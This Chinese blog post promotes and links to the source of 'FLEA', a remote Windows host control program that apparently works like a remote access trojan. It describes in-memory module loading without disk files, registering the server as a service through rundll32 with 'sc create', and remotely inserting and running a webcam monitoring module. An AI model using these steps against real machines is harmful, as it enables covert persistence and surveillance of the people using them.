littlebot
Published on 2025-04-17 / 2 Visits
0

【源码】基于C语言的FLEA远程主机控制程序

项目简介

FLEA是一款插件化的远程Windows主机控制程序,即使在连接不安全的情况下也能稳定工作。它借助TCP协议安全执行动态加载的模块,无需依赖实际的磁盘文件,专注于在内存中加载和执行代码,从而摆脱对传统文件系统的依赖。

项目的主要特性和功能

特性

  1. 插件化架构,支持模块动态加载与卸载。
  2. 模块在内存中执行,无需实际磁盘文件。
  3. 通过TCP协议通信,具备安全隧道功能。
  4. 可跨平台运行,支持Windows系统。

功能

  1. 提供基于Windows的服务端,用于接收并加载模块。
  2. 具备控制端工具,可向远程主机发送指令请求。
  3. 有中继程序,用于转发服务端和控制端之间的通信。
  4. 支持模块的安装、卸载和更新管理。
  5. 支持TCP协议,提供安全隧道功能。

安装使用步骤

1. 编译依赖库

$ cd axe $ ./configure --with-pic $ make $ sudo make install

2. 编译FLEA

$ cd flea $ make

3. 运行示例

启动中继端

cd relay $ ./relay

服务端操作

服务端可编译为Win32服务程序和PE可执行文件。对于服务程序,需先将服务程序拷贝到SysWOW64目录,再通过sc命令向SCM进行服务注册: sc create flead c:\window\syswow64\rundll32 flead.dll,FleaMain sc start flead

查询服务端列表

$ cd client $ ./flea lshost -r localhost -p 123456

远程插入摄像头监控模块

$ ./flea insmod -r localhost -p 123456 -s 1 webcam

启动摄像头监控模块客户端并列出可用设备

$ ./flea run -r localhost -p 123456 -a 1 webcam [1]# list [1]# exit

4. 测试

通过测试程序验证FLEA的功能和稳定性。

注意:以上步骤假设用户已经下载了本项目的源码文件,并按照上述步骤进行编译和运行。

下载地址

点击下载 【提取码: 4003】【解压密码: www.makuang.net】